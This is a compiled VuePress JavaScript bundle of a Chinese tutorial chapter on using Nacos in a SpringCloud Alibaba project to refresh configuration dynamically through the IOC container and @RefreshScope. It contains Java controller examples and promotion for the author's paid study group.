/server-order/order/submit_order\n访问接口URL参数: "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("userId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("productId")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("&")]),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("count")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),s._v("\n访问接口时长: 863ms\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("说明我们的项目中成功整合了Nacos的配置中心,并实现了配置的动态刷新和共享。")]),s._v(" "),a("p",[a("strong",[s._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),s._v(" "),a("p",[a("strong",[s._v("另外,一不小心就写了23章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),s._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[s._v("#")]),s._v(" 关于星球")]),s._v(" "),a("p",[s._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),a("p",[s._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),s._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),a("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),a("p",[s._v("加入星球,你将获得:")]),s._v(" "),a("p",[s._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),a("p",[s._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),a("p",[s._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),a("p",[s._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),a("p",[s._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),a("p",[s._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),a("p",[s._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),a("p",[s._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),a("p",[s._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[s._v("#")]),s._v(" 星球门票价格")]),s._v(" "),a("p",[s._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),s._v(" "),a("p",[a("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),s._v(" "),a("p",[s._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[s._v("冰河技术")]),s._v(" 公众号回复 “ "),a("strong",[s._v("星球")]),s._v(" ” ,领取入场优惠券。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[335],{625:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第23章-服务配置-实现动态刷新与配置共享"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第23章-服务配置-实现动态刷新与配置共享"}},[s._v("#")]),s._v(" SA实战 ·《SpringCloud Alibaba实战》第23章-服务配置:实现动态刷新与配置共享")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏都更新到第23章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),s._v(" "),a("p",[s._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1)]),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[s._v("#")]),s._v(" 前文回顾")]),s._v(" "),a("p",[s._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),s._v(" "),a("p",[s._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),s._v(" "),a("p",[s._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),s._v(" "),a("p",[s._v("在服务配置章节,我们首先介绍了服务配置与Nacos作为配置中心的相关概念,并在项目中整合了Nacos配置中心。接下来,就基于Nacos实现动态刷新与配置共享。")]),s._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[s._v("#")]),s._v(" 本章总览")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-033","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-033.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("注意:本章中在测试每个案例时,都需要启动Nacos,Sentinel,ZipKin和RocketMQ。另外,本章对应的Nacos配置(冰河亲测的Nacos配置)放在了项目源码的doc/nacos/config/chapter23目录下,小伙伴们将Nacos的配置直接导入到Nacos的配置列表中,也可以按照文章自己手动实现。本项目完整源码加入 "),a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"实现动态刷新"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#实现动态刷新"}},[s._v("#")]),s._v(" 实现动态刷新")]),s._v(" "),a("p",[s._v("细心的小伙伴可能已经发现了,之前我们将微服务的配置放入了Nacos,但是此时如果在Nacos中修改了配置,程序是无法读取到修改后的配置的。所以,我们需要实现动态刷新的功能。")]),s._v(" "),a("p",[a("strong",[s._v("注意:为了描述上的简便,这里,我们就以用户微服务举例说明,其他微服务的实现方式都是一样的。")])]),s._v(" "),a("h3",{attrs:{id:"修改nacos配置"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#修改nacos配置"}},[s._v("#")]),s._v(" 修改Nacos配置")]),s._v(" "),a("p",[s._v("在Nacos中修改server-user-dev.yaml的配置,在server-user-dev.yaml配置中新增如下内容。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("author")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("name")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" binghe\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-014","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-014.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布后会弹出如下提示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-015","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-015.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("直接点击确认发布即可。")]),s._v(" "),a("h3",{attrs:{id:"通过ioc容器获取nacos配置"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#通过ioc容器获取nacos配置"}},[s._v("#")]),s._v(" 通过IOC容器获取Nacos配置")]),s._v(" "),a("p",[s._v("(1)在用户微服务shop-user的"),a("code",[s._v("io.binghe.shop.user.controller")]),s._v("包下新建NacosController类,并在NacosController类中注入"),a("code",[s._v("org.springframework.context.ConfigurableApplicationContext")]),s._v("类,通过ConfigurableApplicationContext获取到系统环境变量,并从环境变量中获取到"),a("code",[s._v("author.name")]),s._v("属性的值,就是我们在Nacos中配置的作者姓名,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 从Nacos中获取配置项\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Slf4j")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RestController")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("NacosController")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ConfigurableApplicationContext")]),s._v(" context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@GetMapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/nacos/test"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("nacosTest")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" authorName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getEnvironment")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getProperty")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"author.name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"获取到的作者姓名为:{}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" authorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" authorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br")])]),a("p",[s._v("(2)启动用户微服务和网关服务,并在浏览器中输入"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/test")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-016","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-016.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,能够正确读取到Nacos中的配置信息。")]),s._v(" "),a("p",[s._v("(3)修改Nacos中server-user-dev.yaml的配置,将"),a("code",[s._v("author.name")]),s._v("的值修改为binghe001,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-017","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-017.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("点击发布。")]),s._v(" "),a("p",[s._v("(4)发布后,不要重启用户微服务和网关服务,在浏览器上刷新"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/test")]),s._v("链接,发现读取到的信息已经变成了binghe001,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-018","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-018.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,通过IOC容器能够读取到Nacos中修改后的配置。")]),s._v(" "),a("h3",{attrs:{id:"通过注解获取nacos配置"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#通过注解获取nacos配置"}},[s._v("#")]),s._v(" 通过注解获取Nacos配置")]),s._v(" "),a("p",[s._v("(1)在用户微服务shop-user的"),a("code",[s._v("io.binghe.shop.user.controller.NacosController")]),s._v("类上添加@RefreshScope注解,并将Nacos中的"),a("code",[s._v("author.name")]),s._v("的值注入到NacosController类中,并通过接口获取到注入的Nacos中的"),a("code",[s._v("author.name")]),s._v("值,如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description 从Nacos中获取配置项\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Slf4j")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RefreshScope")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@RestController")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("NacosController")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Autowired")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ConfigurableApplicationContext")]),s._v(" context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@Value")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"${author.name}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" nacosAuthorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@GetMapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/nacos/test"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("nacosTest")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" authorName "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" context"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getEnvironment")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getProperty")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"author.name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"获取到的作者姓名为:{}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" authorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" authorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token annotation punctuation"}},[s._v("@GetMapping")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"/nacos/name"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("nacosName")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n log"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"从Nacos中获取到的作者的姓名为:{}"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" nacosAuthorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" nacosAuthorName"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br"),a("span",{staticClass:"line-number"},[s._v("25")]),a("br"),a("span",{staticClass:"line-number"},[s._v("26")]),a("br"),a("span",{staticClass:"line-number"},[s._v("27")]),a("br"),a("span",{staticClass:"line-number"},[s._v("28")]),a("br"),a("span",{staticClass:"line-number"},[s._v("29")]),a("br")])]),a("p",[s._v("(2)启动用户微服务和网关服务,并在浏览器中输入"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/name")]),s._v(",如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-019","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-019.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(3)修改Nacos中server-user-dev.yaml的配置,将"),a("code",[s._v("author.name")]),s._v("的值修改为binghe002,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-020","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-020.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(4)发布后,不要重启用户微服务和网关服务,在浏览器上刷新"),a("code",[s._v("http://localhost:10001/server-user/user/nacos/name")]),s._v("链接,发现读取到的信息已经变成了binghe002,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-24-021","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-24-021.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("说明使用注解的方式也能够读取到Nacos中更新后的配置信息。")]),s._v(" "),a("p",[s._v("注意:虽然通过IOC容器和注解都能够读取到Nacos中更新后的配置信息,但是在实际项目中,推荐使用注解的方式获取Nacos中更新后的配置信息。")]),s._v(" "),a("h2",{attrs:{id:"实现配置共享"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#实现配置共享"}},[s._v("#")]),s._v(" 实现配置共享")]),s._v(" 